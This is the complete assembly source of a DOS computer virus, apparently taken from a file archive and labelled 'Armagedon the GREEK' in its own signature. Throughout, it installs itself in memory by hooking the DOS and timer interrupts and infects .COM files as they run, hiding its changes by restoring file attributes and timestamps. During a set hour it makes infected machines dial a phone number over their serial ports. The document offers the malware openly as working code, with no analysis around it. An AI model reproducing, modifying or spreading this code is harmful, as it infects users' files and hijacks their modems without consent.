home *** CD-ROM | disk | FTP | other *** search
- dta equ offset last_byte+10
-
- virlen equ (offset last_byte - offset start)
-
- strlen equ (offset endstr - offset startstr)
-
-
-
- code segment
-
- assume cs:code,ds:code
-
- org 100h
-
- start: jmp main
-
-
-
- newint21 proc far ; SETS THE 'INT 21h' VIRUSED
-
- pushf ; Save flags for compare
-
- cmp ah,0e0h ; Is it exist-test?
-
- jnz notest1 ; if not go on
-
- mov ax,0dadah ; else return signature,
-
- popf ; restore flag and
-
- iret ; return to program
-
- notest1: cmp ah,0e1h
-
- jnz notest2
-
- mov ax,cs
-
- popf
-
- iret
-
- notest2: cmp ax,4b00h ; is 'EXEC' command?
-
- jz infector ; if yes go to 'infection'
-
- do_oldint: popf ; restore flags
-
- jmp dword ptr cs:oldint21a; jump to normal INT 21h
-
- newint21 endp
-
-
-
- oldint21a dw ? ; old INT 21h vector (low)
-
- oldint21b dw ? ; old INT 21h vector (high)
-
- oldint8a dw ? ; old INT 8 vector (low)
-
- oldint8b dw ? ; old INT 8 vector (high)
-
- status db 0 ; flag for time (call in progress)
-
- ticks db 0 ; 18.2 tick counter
-
- cur_h db 0 ; Current time (HOURS)
-
- cur_m db 0 ; Current time (MINUTES)
-
- cur_s db 0 ; Current time (SECONDS)
-
- count dw 0 ; dial counter (30 sec, 540 ticks)
-
- garbidge db 0
-
- stringpos db 0
-
- call_made db 0
-
- init_done db 0
-
- comext db 'COM' ; Valid inf. extension
-
- handle dw ? ; inf. handle number
-
- filesize dw 20
-
- prseg dw ?
-
- seg_buffer dw ?
-
- ss_reg dw ?
-
- sp_reg dw ?
-
- fileds dw ?
-
- filedx dw ?
-
- attr dw ?
-
- filedate dw ?
-
- filetime dw ?
-
-
-
- env_seg dw 00h
-
- cdline_offs dw 81h
-
- cdline_seg dw ?
-
- fcb1_offs dw 5ch
-
- fcb1_seg dw ?
-
- fcb2_offs dw 6ch
-
- fcb2_seg dw ?
-
-
-
- infector proc near ; PROGRAM INFECTOR
-
- assume cs:code ;
-
- push ds ; save registers to
-
- push bx ; insure normal operation
-
- push si ; by the INT 21h (ah=4b00h)
-
- push cx ;
-
- push ax ;
-
- push dx ;
-
- push bp ;
-
- push es ;
-
- push di ;
-
-
-
- cld ; Reset direction to increament
-
- push dx ; Store the address of the
-
- push ds ; filespec (DS:DX)
-
- xor cx,cx ; reset counter
-
- mov si,dx ; set ptr to filespec
-
- nxtchr: mov al,ds:[si] ; take a char
-
- cmp al,0 ; is it zero?
-
- jz okay ; if yes goto okay
-
- inc cx ; else increase counter
-
- inc si ; and pointer
-
- jmp nxtchr ; take the next chr if CX>0
-
- okay:
-
- add dx,cx ; Point to end of filespec
-
- sub dx,3 ; point to .EXT
-
- mov si,offset comext ; Check if it is a
-
- mov di,dx ; .COM file
-
- cmp byte ptr ds:[di-3],'N';
-
- jnz ok_1 ; Is it a ND. ?
-
- cmp byte ptr ds:[di-2],'D'; if yes exit!
-
- jz nmatch ;
-
- ok_1: mov cx,3 ; checking counter in 3
-
- cmp_loop: mov al,cs:[si] ; take 1st ptr's chr
-
- cmp al,ds:[di] ; and compare it with filespec
-
- jnz nmatch ; If no matching, exit
-
- inc si ; else increase 1st ptr
-
- inc di ; and second ptr
-
- loop cmp_loop ; take next compare if CX>0
-
-
-
- pop ds ; restore ds and dx to point
-
- pop dx ;
-
-
-
- push dx ; Store pointer
-
- push ds ;
-
- mov si,dx ; Check if filespec
-
- mov dl,0 ; contains a drive
-
- cmp byte ptr ds:[si+1],':'; letter
-
- jnz nodrive ; If no jump to nodrive spec.
-
- mov dl,ds:[si] ; else take the drive in DL
-
- and dl,0fh ; and modify for int 21h (ah=36h)
-
- nodrive: mov ah,36h ; Take free disk space of DL disk
-
- int 21h ; Do the call
-
- cmp ax,0ffffh ; Was an invalid drive specified?
-
- jz nmatch ; if yes, exit
-
- jmp bypass ; Correct jx 127 limit
-
-
-
- nmatch: jmp nomatch
-
- invd: jmp invdrive
-
- closeit1: jmp closeit
-
- resdta1: jmp resdta
-
-
-
- bypass: cmp bx,3 ; Are there at least 3 clust. free?
-
- jb nmatch ; If no, exit
-
- pop ds ; restore pointers
-
- pop dx ;
-
-
-
- push ds ; and allocate memory
-
- push dx ; for the infection
-
- mov cs:fileds,ds
-
- mov cs:filedx,dx
-
- mov ax,4300h ; code for Get Attr
-
- int 21h
-
- mov cs:attr,cx
-
- mov ax,4301h
-
- xor cx,cx
-
- int 21h
-
-
-
- mov bx,0ffffh
-
- mov ah,48h
-
- int 21h
-
- mov ah,48h
-
- int 21h
-
- mov cs:seg_buffer,ax
-
-
-
- mov ax,cs
-
- mov ds,ax
-
- mov dx,dta
-
- mov ah,1ah
-
- int 21h
-
-
-
- pop dx
-
- pop ds
-
- mov ax,3d02h ; DosFn OPEN FILE (R/W)
-
- clc ; Clear carry flag
-
- int 21h ; Do open
-
- jc closeit1 ; If Error exit
-
- mov bx,ax ; Handle to BX
-
- mov cs:handle,ax ; save handle
-
- mov cx,0ffffh ; Bytes to read
-
- mov ax,cs:seg_buffer ;
-
- mov ds,ax ;
-
- mov dx,virlen ; DS:DX points to buffer
-
- mov ah,3fh ; DosFn READ FROM FILE
-
- clc ; clear carry flag
-
- int 21h ; Do the call
-
- jc closeit1 ; if error exit
-
- mov cs:filesize,ax ; Num of bytes actually read
-
- ;cmp ax,0e000h ; max com size to infect
-
- ;ja closeit1 ; if size>max exit
-
- cmp ax,virlen ; if filesize is less than the
-
- jb virit ; virus size then it is clean
-
- mov si,virlen+1 ; Set 1st ptr to START of file
-
- add si,si ; add 1st ptr the length of file
-
- sub si,21 ; and subtract 12 to point to sig.
-
- mov cx,19 ; set the test loop to 10 bytes
-
- mov di,offset signature ; Set 2nd ptr to constant signature
-
- test_sig: mov al,ds:[si] ; take the byte pointed to by SI
-
- mov ah,cs:[di] ; and compare it with the byte
-
- cmp ah,al ; pointed to by DI
-
- jne virit ; if not equal then it is clean!
-
- inc si ; else increase 1st pointer
-
- inc di ; increase 2nd pointer
-
- loop test_sig ; continue with next if CX>0
-
- jmp closeit
-
-
-
- virit: mov ax,4200h ; Code for LSEEK (Start)
-
- mov bx,cs:handle ; Handle num in BX
-
- xor cx,cx ; Reset CX
-
- mov dx,cx ; and DX
-
- int 21h ; Do the call
-
- jc closeit
-
-
-
- mov si,offset start
-
- mov cx,virlen
-
- xor di,di
-
- mov ax,cs:seg_buffer
-
- mov ds,ax
-
- virusin: mov al,cs:[si]
-
- mov ds:[di],al
-
- inc si
-
- inc di
-
- loop virusin
-
-
-
- mov ax,5700h
-
- mov bx,cs:handle
-
- int 21h
-
- mov cs:filetime,cx
-
- mov cs:filedate,dx
-
-
-
- mov ax,cs:seg_buffer
-
- mov ds,ax
-
-
-
- mov si,virlen
-
- mov al,ds:[si]
-
- add al,11
-
- mov ds:[si],al
-
-
-
- xor dx,dx ; DX points to Buffer (file)
-
- mov cx,cs:filesize ; Size of file in CX
-
- add cx,virlen ; But added by Virlen
-
- mov bx,cs:handle ; File handle num in BX
-
- mov ah,40h ; Code for WRITE FILE
-
- int 21h ; Do the call
-
-
-
- mov cx,cs:filetime
-
- mov dx,cs:filedate
-
- mov bx,cs:handle
-
- mov ax,5701h
-
- int 21h
-
-
-
- closeit: mov bx,cs:handle ; Handle in BX
-
- mov ah,3eh ; Code for CLOSE FILE
-
- int 21h ; Do close it
-
- push cs
-
- pop ds
-
- resdta: mov dx,80h ; Reset the DTA
-
- mov ah,1ah ; in Address 80H
-
- int 21h ; Do call
-
- mov ax,cs:seg_buffer
-
- mov es,ax
-
- mov ah,49h
-
- int 21h
-
-
-
- mov ax,cs:fileds ;
-
- mov ds,ax ;
-
- mov dx,cs:filedx ;
-
- mov ax,4301h ;
-
- mov cx,cs:attr ;
-
- int 21h ;
-
- jmp invdrive ; and exit
-
- nomatch:
-
- pop ds
-
- pop dx
-
- jmp notinfect
-
-
-
- invdrive:
-
- notinfect:
-
- pop di ; restore registers
-
- pop es ; to their initial
-
- pop bp ; values
-
- pop dx ;
-
- pop ax ;
-
- pop cx ;
-
- pop si ;
-
- pop bx ;
-
- pop ds ;
-
- jmp do_oldint ; return from call
-
- infector endp
-
-
-
- newint8 proc far ; VIRUS' TIMER ISR
-
- push bp ;
-
- push ds ; store all registers
-
- push es ; and flags before
-
- push ax ; the new timer
-
- push bx ; operations.
-
- push cx ; Otherwize a 'crush'
-
- push dx ; is unavoidable
-
- push si ;
-
- push di ;
-
- pushf ; Simulate an INT
-
- call dword ptr cs:oldint8a ; Do old timer stuff
-
- call tick ; update virus clock routine
-
- push cs
-
- pop ds
-
- mov ah,5 ; Check if time
-
- mov ch,cur_h ; is now above the
-
- cmp ah,ch ; lower limit (5 o'clock)
-
- ja exitpoint ; if not, exit
-
- mov ah,6 ; Check if time
-
- cmp ah,ch ; is now below the higher limit
-
- jb exitpoint ; if not, exit
-
- mov ah,status ; get the virus status
-
- cmp ah,1 ; test if call in progress
-
- jz in_progress ; if yes goto countdown routine
-
- mov ah,1 ; if not, set the status to
-
- mov status,ah ; indicate 'In progress'
-
- jmp exitpoint ; and exit
-
- in_progress: ; CALL IS IN PROGRESS!
-
- call dial ; else call dial routine
-
- inc count ; CALL_TIMER
-
- mov ax,count
-
- cmp ax,540 ; check for time-out
-
- jne exitpoint ; if not, exit else
-
- xor ax,ax ; set status to indicate
-
- mov status,ah ; 'ready to call'!
-
- mov count,ax ; reset call_timer
-
- mov call_made,ah
-
- exitpoint:
-
- pop di ; restore registers to
-
- pop si ; their values and
-
- pop dx ;
-
- pop cx ;
-
- pop bx ;
-
- pop ax ;
-
- pop es ;
-
- pop ds ;
-
- pop bp ;
-
- iret ; return to program
-
- newint8 endp
-
-
-
- tick proc near ; VIRUS' CLOCK ROUTINE
-
- assume cs:code,ds:code
-
- push cs
-
- pop ds
-
- xor al,al
-
- mov ah,ticks ; test if ticks have
-
- cmp ah,17 ; reached limit (17)
-
- jnz incticks ; if no, incerase ticks
-
- mov ah,cur_s ; test if seconds have
-
- cmp ah,59 ; reached limit (59)
-
- jnz incsec ; if no, increase seconds
-
- mov ah,cur_m ; test if minutes have
-
- cmp ah,59 ; reached limit (59)
-
- jnz incmin ; if no, increase minutes
-
- mov ah,cur_h ; test if hours have
-
- cmp ah,23 ; reached limit (23)
-
- jnz inchour ; if no, increase hours
-
- mov cur_h,al ; else reset hours
-
- exitp3: mov cur_m,al ; reset minutes
-
- exitp2: mov cur_s,al ; reset seconds
-
- exitp1: mov ticks,al ; reset ticks
-
- ret ; end exit
-
- incticks: inc ticks ; increase ticks
-
- ret ; and exit
-
- incsec: inc cur_s ; increase seconds
-
- jmp exitp1 ; and exit
-
- incmin: inc cur_m ; increase minutes
-
- jmp exitp2 ; and exit
-
- inchour: inc cur_h ; increase hours
-
- jmp exitp3 ; end exit
-
- tick endp
-
-
-
- startstr:
-
- string db '+++aTh0m0s7=35dp081,,,,141'
-
- endstr:
-
-
-
- dial proc near
-
- assume cs:code,ds:code
-
-
-
- mov al,call_made
-
- cmp al,1
-
- jz exit_dial
-
- mov al,init_done
-
- cmp al,1
-
- jz send_one
-
-
-
- mov cx,3
-
- next_init: mov dx,cx
-
- xor ah,ah
-
- mov al,131
-
- int 14h
-
- loop next_init
-
- mov al,1
-
- mov init_done,al
-
- jmp exit_dial
-
-
-
- send_one: push cs
-
- pop ds
-
- mov si,offset string
-
- mov al,stringpos
-
- cmp al,strlen
-
- jnz do_send
-
- jmp sendret
-
-
-
- do_send: xor ah,ah
-
- add si,ax
-
- next_char: mov al,[si]
-
- mov dx,3f8h
-
- out dx,al
-
- mov dx,2f8h
-
- out dx,al
-
- mov dx,2e8h
-
- out dx,al
-
- mov dx,3e8h
-
- out dx,al
-
- inc stringpos
-
- jmp exit_dial
-
-
-
- sendret: mov cx,3
-
- retloop: mov dx,cx
-
- mov al,13
-
- mov ah,1
-
- int 14h
-
- loop retloop
-
-
-
- reset: mov ax,0001h
-
- mov call_made,al
-
- mov stringpos,ah
-
- mov init_done,ah
-
- exit_dial: ret
-
- dial endp
-
-
-
- main: ; VIRUS' MEMORY INSTALLER
-
- assume cs:code,ds:code ;
-
- mov ah,0e0h ; is VIRUS already
-
- int 21h ; in memory?
-
- cmp ax,0dadah ; if yes then
-
- jnz cont ; terminate, else
-
- jmp already_in
-
- cont: push cs
-
- pop ds
-
- mov ax,3521h ; capture the old
-
- int 21h ; INT 21h vector and
-
- mov oldint21a,bx ; store the absolute address
-
- mov oldint21b,es ; in 'oldint21x' variables
-
- mov dx,offset newint21 ; point to new INT 21h ISR
-
- mov ax,2521h ; replace it to vector
-
- int 21h ;
-
- mov ax,3508h ; capture the old
-
- int 21h ; timer vector and
-
- mov oldint8a,bx ; store the address
-
- mov oldint8b,es ; in 'oldint8x' var
-
- mov dx,offset newint8 ; point to new timer ISR
-
- mov ax,2508h ; replace it to vector
-
- int 21h ;
-
- mov ah,2ch ; get the current
-
- int 21h ; time from DOS
-
- mov cur_h,ch ; and store it
-
- mov cur_m,cl ; for the
-
- mov cur_s,dh ; virus' timer
-
- ; RUN PROGRAM!
-
- mov ax,cs:[2ch]
-
- mov ds,ax
-
- xor si,si
-
- loop1: mov al,ds:[si]
-
- cmp al,1
-
- jz exitl1
-
- inc si
-
- jmp loop1
-
- exitl1: inc si
-
- inc si
-
- mov dx,si
-
-
-
- mov ax,cs
-
- mov es,ax ; SHRINK BLOCK
-
- mov bx,90
-
- mov ah,4ah
-
- int 21h
-
-
-
- mov bx,cs:[81h]
-
- mov ax,cs
-
- mov es,ax
-
- mov cs:fcb1_seg,ax
-
- mov cs:fcb2_seg,ax
-
- mov cs:cdline_seg,ax
-
- mov ax,4b00h
-
- ;
-
- ;
-
- ;
-
- mov cs:ss_reg,ss
-
- mov cs:sp_reg,sp
-
- pushf
-
- call dword ptr cs:oldint21a
-
- mov ax,cs:ss_reg
-
- mov ss,ax
-
- mov ax,cs:sp_reg
-
- mov sp,ax
-
- mov ax,cs
-
- mov ds,ax
-
- mov dx,offset last_byte
-
- int 27h
-
-
-
- already_in: mov ah,0e1h
-
- int 21h
-
- mov si,offset pokelabl
-
- mov cs:[si+3],ax
-
- mov ax,offset fix_com
-
- mov cs:[si+1],ax
-
- mov ax,cs:filesize
-
- mov bx,cs
-
- pokelabl: db 0eah,00h,00h,00h,00h
-
-
-
- fix_com: mov cx,ax
-
- mov ds,bx
-
- mov si,100h
-
- mov di,100h+virlen
-
- dofix: mov al,ds:[di]
-
- mov ds:[si],al
-
- inc si
-
- inc di
-
- loop dofix
-
- mov si,offset poklb
-
- mov cs:[si+3],ds
-
- mov al,ds:[100h]
-
- sub al,11
-
- mov ds:[100h],al
-
- mov ax,ds
-
- mov es,ax
-
- mov ss,ax
-
- poklb: db 0eah,00h,01h,00h,00h
-
-
-
- signature: db 'Armagedon the GREEK'
-
- last_byte: db 90h+11
-
- nop
-
- nop
-
- nop
-
- mov ah,4ch
-
- int 21h
-
- code ends
-
- end start
-